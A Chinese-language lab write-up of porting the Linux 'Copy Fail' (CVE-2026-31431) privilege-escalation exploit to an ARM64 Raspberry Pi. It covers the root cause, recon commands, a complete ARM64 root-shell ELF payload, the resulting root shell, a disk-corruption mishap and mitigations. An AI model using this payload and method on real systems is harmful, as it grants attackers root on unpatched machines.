那天晚上刷安全新闻看到 CISA 把 CVE-2026-31431 加进了 KEV(Known Exploited Vulnerabilities)目录,联邦机构被要求 5 月 15 日前打补丁。一个 CVSS 7.8 的本地提权,影响 2017 年以来几乎所有 Linux 内核。
我看了一眼家里那台树莓派——Debian Bookworm,内核 6.12.62,RPi 上游还没出补丁。
得试试。
Copy Fail 是什么
Copy Fail 的根因是 2017 年合入的一个性能优化(commit 72548b093ee3),改动在 algif_aead.c,让 AEAD 加解密操作走 in-place 路径来省一次内存拷贝。
问题出在 authencesn(Authenticated Encryption with ESN)模板的解密路径。当输入通过 splice() 系统调用送进来时,socket 的输入 scatterlist 直接持有的是内核页缓存中对应文件的页面引用——不是副本,是引用。
然后 AEAD 解密过程中,scatterwalk_map_and_copy 写入 tag 时,会沿着 scatterlist 一路走到那些页缓存页面上,完成一次 4 字节的精确写入。攻击者控制 assoclen、cryptlen 和 splice 的偏移量,就能精确控制写入文件页缓存的哪 4 个字节以及写什么值。
整条链路:
- 打开一个
AF_ALGsocket,绑定authencesn(hmac(sha256),cbc(aes)) - 用
splice()把目标文件(比如/usr/bin/su)的内容零拷贝送进 socket - 内核 AEAD 解密时把 tag 写到了页缓存里——4 字节精确覆写
- 执行被污染的 setuid 二进制 → root
关键点:AF_ALG socket 不需要任何特权,任何用户都能打开。splice() 走零拷贝路径所以页面是引用而非副本。两个无害的内核接口组合在一起就炸了。
环境侦察
目标是家里的树莓派(Debian 12 Bookworm, aarch64),通过 Tailscale 连接。
先看内核版本和模块状态:
$ uname -r6.12.62+rpt-rpi-v8
$ lsmod | grep algifalgif_hash 12288 1algif_skcipher 12288 1af_alg 28672 6 algif_hash,algif_skcipher内核 6.12.62,RPi 上游定制版,编译日期 2026-01-19。Debian Bookworm 的修复版本是 6.1.170-1(Bookworm 跟的是 6.1.x LTS 分支),但 RPi 内核走自己的 rpt fork,截至 2026 年 5 月初 stable apt 源里还没有补丁。
algif_aead 没有加载,但模块文件存在:
$ find /lib/modules/$(uname -r) -name "algif_aead*"/lib/modules/6.12.62+rpt-rpi-v8/kernel/crypto/algif_aead.ko.xz内核会在用户程序 bind() 到 "aead" 类型时自动加载这个模块。Python 3.11.2 带 os.splice 支持,setuid 二进制一应俱全:
$ python3 -c "import os; print(hasattr(os, 'splice'))"True
$ find /usr/bin -perm -4000 -type f | head -5/usr/bin/mount/usr/bin/sudo/usr/bin/pkexec/usr/bin/su/usr/bin/passwd结论:可利用。
第一次翻车:x86 payload 跑在 ARM64 上
Theori/Xint 的官方 PoC(copy_fail_exp.py)里内嵌了一段 zlib 压缩的 payload,解压后是一个最小化的 x86_64 ELF——setuid(0) + execve("/bin/sh")。exploit 会把这段 ELF 逐 4 字节写入 /usr/bin/su 的页缓存头部,替换掉原始的 ELF header 和代码段。
创建了一个无特权用户 testuser,直接跑原版 PoC:
testuser@raspberrypi:~$ python3 /tmp/copy_fail_exp.pysh: 1: su: Exec format errorExec format error。漏洞本身生效了——页缓存确实被污染了——但写进去的是 x86_64 机器码,ARM64 内核根本没法执行。
这时候犯了第一个错误。
drop_caches 的坑:脏页会先写回磁盘吗?
想着清理一下被污染的页缓存,于是:
$ echo 3 | sudo tee /proc/sys/vm/drop_caches然后检查 /usr/bin/su:
$ file /usr/bin/su/usr/bin/su: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV),statically linked, no section header坏了。磁盘上的 /usr/bin/su 也变成 x86-64 了。dpkg -V util-linux 确认校验和不匹配。
怎么回事?
翻了内核文档,drop_caches 本身不会主动写回脏页——它只释放干净的页缓存。但问题是,exploit 通过 scatterwalk_map_and_copy 修改页面后,这些页面被标记为脏页。内核的 writeback daemon(pdflush / flush-* 线程)会在后台周期性地把脏页写回磁盘。
也就是说,在我执行 drop_caches 之前,writeback daemon 大概率已经把被污染的页面刷到了磁盘上。drop_caches 只是把缓存里的干净副本丢掉了,磁盘上的文件早就被改了。
CVE 描述的误导很多文章说 Copy Fail “只影响页缓存,磁盘文件不受影响,
sha256sum看不到变化”。这话只在一个很短的时间窗口内成立——从页缓存被污染到 writeback daemon 下一次刷盘之间。在实际环境中,脏页终究会被写回磁盘。
修复:重装 util-linux 包恢复原始二进制。
$ sudo apt-get install --reinstall -y util-linux$ file /usr/bin/su/usr/bin/su: setuid ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV),dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, ...恢复了。这次先备份再动手。
适配 ARM64 payload
原版 PoC 的核心机制——AF_ALG socket + splice() 页缓存污染——是架构无关的。需要换的只是写入的 ELF payload。
目标:构造一个最小的 ELF64 aarch64 静态可执行文件,执行 setuid(0) + execve("/bin/sh", NULL, NULL)。
构造 shellcode
ARM64 的 syscall 约定:x8 = syscall number,x0-x5 = 参数,svc #0 触发。
mov x8, #146 ; __NR_setuidmov x0, #0 ; uid = 0svc #0 ; setuid(0)
mov x8, #221 ; __NR_execveadr x0, binsh ; path = "/bin/sh" (PC-relative)mov x1, #0 ; argv = NULLmov x2, #0 ; envp = NULLsvc #0 ; execve(...)
binsh:.ascii "/bin/sh\0"8 条指令 + 8 字节字符串 = 40 字节。
打包成最小 ELF
ELF64 header 64 字节 + 一个 PT_LOAD program header 56 字节 + 40 字节 shellcode = 160 字节。
elf = ( # ELF header (64 bytes) b'\x7fELF\x02\x01\x01\x00' + b'\x00' * 8 + b'\x02\x00\xb7\x00\x01\x00\x00\x00' + # ET_EXEC, EM_AARCH64 b'\x78\x00\x40\x00\x00\x00\x00\x00' + # entry: 0x400078 b'\x40\x00\x00\x00\x00\x00\x00\x00' + # phoff: 64 b'\x00' * 8 + # shoff: 0 b'\x00\x00\x00\x00\x40\x00\x38\x00' + b'\x01\x00\x00\x00\x00\x00\x00\x00' + # Program header - PT_LOAD R|X (56 bytes) b'\x01\x00\x00\x00\x05\x00\x00\x00' + b'\x00' * 8 + b'\x00\x00\x40\x00\x00\x00\x00\x00' * 2 + # vaddr = paddr = 0x400000 b'\xa0\x00\x00\x00\x00\x00\x00\x00' * 2 + # filesz = memsz = 160 b'\x00\x10\x00\x00\x00\x00\x00\x00' + # align: 0x1000 # Shellcode (40 bytes) b'\x48\x12\x80\xd2' # mov x8, #146 b'\x00\x00\x80\xd2' # mov x0, #0 b'\x01\x00\x00\xd4' # svc #0 b'\xa8\x1b\x80\xd2' # mov x8, #221 b'\x80\x00\x00\x10' # adr x0, .+16 b'\x01\x00\x80\xd2' # mov x1, #0 b'\x02\x00\x80\xd2' # mov x2, #0 b'\x01\x00\x00\xd4' # svc #0 b'/bin/sh\x00')exploit 的核心函数 w(fd, off, val) 不变——对每个 4 字节 chunk,创建 AF_ALG socket、splice() 目标文件、触发 AEAD 解密写入。总共 40 次写入(160 / 4),覆盖 /usr/bin/su 的头 160 字节。
执行结果
testuser@raspberrypi:~$ python3 /tmp/copy_fail_arm64.py[*] 160/160[+] done, spawning shell...# whoamiroot从一个无 sudo 权限的普通用户,通过页缓存污染拿到了 root shell。
整个过程:
- 以只读方式打开
/usr/bin/su(O_RDONLY,不需要写权限) - 40 次 AF_ALG + splice 操作,把 160 字节的 ARM64 ELF 写入页缓存
- 执行被污染的
su——内核看到 setuid bit,以 root 身份执行我们的 shellcode - shellcode 调用
setuid(0)+execve("/bin/sh")→ root shell
缓解措施
RPi 上游内核短期内不会修。在补丁到来之前,最有效的缓解是禁用 algif_aead 模块:
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/disable-algif-aead.confsudo modprobe -r algif_aead这让 modprobe 在加载 algif_aead 时执行 /bin/false(即失败),AF_ALG socket 绑定 "aead" 类型会报错,整条攻击链断掉。
对于有补丁的发行版:
| 发行版 | 修复版本 |
|---|---|
| Debian 12 (Bookworm) | kernel 6.1.170-1 |
| Debian 13 (Trixie) | kernel 6.12.85-1 |
| Ubuntu | 2026-05-01 起陆续推送 |
| RHEL / AlmaLinux 8 | kernel-4.18.0-553.121.1 |
| Amazon Linux 2023 | 已修复 |
几个值得记住的点
页缓存污染不是”只在内存里”。 writeback daemon 会定期把脏页刷回磁盘。想用 drop_caches 清理反而可能加速这个过程(sync + drop_caches 的常见用法会先 sync,那就直接把脏数据落盘了)。做安全测试前一定要备份目标文件。
架构适配是 exploit 移植的核心工作。 漏洞机制是通用的,但 payload 必须匹配目标架构。一个 x86 的 ELF 在 ARM64 上只会 ENOEXEC。需要重新编码 ELF header(EM_AARCH64 = 0xB7)、shellcode(ARM64 指令集 + syscall 号),以及调整 PC 相对寻址。
AF_ALG 是一个被低估的攻击面。 它把内核密码学子系统暴露给无特权用户空间,9 年没人注意到这个 in-place 优化引入的 bug。如果你的服务器不需要用户态加解密,直接 blacklist algif_* 系列模块能收窄不少攻击面。